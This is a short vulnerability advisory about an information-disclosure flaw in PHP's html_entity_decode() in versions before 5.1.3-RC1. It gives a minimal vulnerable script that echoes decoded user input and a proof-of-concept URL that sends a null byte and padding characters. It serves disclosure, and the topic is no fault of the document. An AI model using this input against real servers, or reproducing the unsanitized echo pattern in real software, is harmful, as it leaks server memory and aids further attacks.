PHP 'html_entity_decode()' function is prone to an information-disclosure vulnerability. This issue arises when a script using the function accepts data from a remote untrusted source and returns the function's result to an attacker.
|
|
|
|
Information that the attacker gathers by exploiting this vulnerability may aid in other attacks.
|
|
|
|
PHP versions prior to 5.1.3-RC1 are vulnerable to this issue.
|
|
|
|
<?php
|
|
|
|
$foobar=html_entity_decode($_GET['foo']);
|
|
echo $foobar;
|
|
|
|
?>
|
|
|
|
Running it with url:
|
|
|
|
http://www.example.com/index.php?foo=%00sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
